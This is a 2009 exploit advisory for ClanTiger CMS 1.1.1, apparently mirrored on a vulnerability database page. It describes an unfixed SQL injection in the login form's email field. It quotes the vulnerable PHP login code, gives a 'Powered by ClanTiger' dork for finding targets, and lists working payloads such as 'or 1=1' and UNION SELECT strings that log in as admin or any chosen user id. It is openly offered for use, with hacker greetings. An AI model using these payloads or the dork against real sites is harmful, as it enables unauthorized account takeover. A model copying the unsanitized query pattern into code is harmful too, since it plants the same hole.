Lucene search
K

ClanTiger <= 1.1.1 (Auth Bypass) SQL Injection Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 46 Views

ClanTiger Auth Bypass SQL Injection Vulnerability in CM

Code

                                                ***********************************************************************************************
***********************************************************************************************
**	       										     **
**  											     **
**     [] [] []  [][][][&#62;  []     []  [][  ][]     []   [][]]  []  [&#62;  [][][][&#62;  [][][][]    **
**     || || ||  []        [][]   []   []  []     []   []      [] []   []	 []    []    **
   [&#62;  [][][][]  [][][][&#62;  [] []  []   []  []   [][]  []       [][]    [][][][&#62;  []    []    **
**  [-----[]-----[][][][&#62;--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][&#62;--[][][][]---\ 
**==[&#62;    []     []        []   [][]   []  [] [][][]  []       [][]    []           [] []  &#62;&#62;--
**  [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/ 
   [&#62;   [[[]]]   [][][][&#62;  [][]   [] [][[] [[]]  [][]  [][][]  []  [&#62;  [][][][&#62; &#60;][]   []    **
**							                                     **
**    											     **
**                          ¡VIVA SPAIN!...¡GANAREMOS EL MUNDIAL!...o.O                      **
**					¡PROUD TO BE SPANISH!				     **
**											     **
***********************************************************************************************
***********************************************************************************************

----------------------------------------------------------------------------------------------
|       	   	    	AUTH BYPASS LOGIN FORM (SQL INJECTION)	         	     |
|--------------------------------------------------------------------------------------------|
|                         	     | CLAN TIGER CMS |		 			     |
|  CMS INFORMATION:		      ----------------					     |
|										             |
|--&#62;WEB: http://www.clantiger.com				   		             |
|--&#62;DOWNLOAD: http://www.clantiger.com/download-clan-cms 	   		             |
|--&#62;DEMO: http://www.demo.clantiger.com/						     |
|--&#62;CATEGORY: CMS / Portals								     |
|--&#62;DESCRIPTION: ClanTiger is a content management system specifically designed for gaiming  |
| 		clans...								     |
|											     |
|  CMS VULNERABILITY:									     |
|											     |
|--&#62;TESTED ON: firefox 2.0.0.20 and IE 7.0.5730 (Default)				     |
|--&#62;DORK: &#34;Powered by ClanTiger&#34;							     |
|--&#62;CATEGORY: SQL INJECTION/ AUTH BYPASS						     |
|--&#62;AFFECT VERSION: LAST = 1.1.1 (1.1 too)						     |
|--&#62;Discovered Bug date: 2009-04-11							     |
|--&#62;Reported Bug date: 2009-04-11							     |
|--&#62;Fixed bug date: Not fixed								     |
|--&#62;Info patch (????): Not fixed							     |
|--&#62;Author: YEnH4ckEr									     |
|--&#62;mail: y3nh4ck3r[at]gmail[dot]com							     |
|--&#62;WEB/BLOG: N/A									     |
|--&#62;COMMENT: A mi novia Marijose...hermano,cuñada, padres (y amigos xD) por su apoyo.        |
----------------------------------------------------------------------------------------------

-----------
BUG FILE:
-----------

Path --&#62; [HOME_PATH]/module/login.php

It contents:

	function authenticate()
	{
		
		$authentication = $this-&#62;access-&#62;authenticate($_POST[&#39;email&#39;],$_POST[&#39;password&#39;],(bool) $_POST[&#39;stayLogged&#39;]);
		if($authentication === true)
		{
			header(&#39;Location: index.php?info=hasLoggedIn&#39;);
			exit;
		}

		// we couldn&#39;t log in
		$this-&#62;errorMessages[] = $authentication;
		$this-&#62;main();		
		
	}

Path --&#62; [HOME_PATH]/function/class.accesscontrol.php

It contents:

public function authenticate($email,$password,$stayAuthed=false)
	{
		
		if($stayAuthed) $logintime = time() + (3600*24*356*3);
		else $logintime = time() + 3600;
		
		// attempt to get the user from the database
		include ROOTPATH . &#39;base/class.user.php&#39;;
		$user = new User;
		$user-&#62;email = $email;
		$user-&#62;password = md5($password);
		$user-&#62;getBy(array(&#39;email&#39;,&#39;password&#39;));
		...
				
	}	

------------
CONDITIONS:
------------

**gpc_magic_quotes=off

----------------------------------
PROOF OF CONCEPT (SQL INJECTION):
----------------------------------

[HOME_PATH]/index.php?module=login

login form:

e-mail value: something&#39; [SQL]
password value: something //it is not used

---------
EXAMPLE:
---------

login post form:

e-mail value: something&#39; or 1=1 /* --&#62; we are admin!
e-mail value: something&#39; or 1   #  --&#62; we are admin!

Note: Now, we need DB_PREFIX (default: &#34;&#34;, others: db_, clan_, etc)

e-mail value: something&#39; AND 0 UNION ALL SELECT * FROM members WHERE id=1 /*--&#62;admin (if id=1)!
e-mail value: something&#39; AND 0 UNION ALL SELECT * FROM members WHERE id=12 /* --&#62;we are user id=12! 

*******************************************************************
 ESPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!
*******************************************************************
-------------------------------------------------------------------
*******************************************************************
 GREETZ TO: JosS and all spanish Hack3Rs community!
*******************************************************************

-------------------EOF----------------------------------&#62;&#62;&#62;ENJOY IT!

# milw0rm.com [2009-04-17]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
46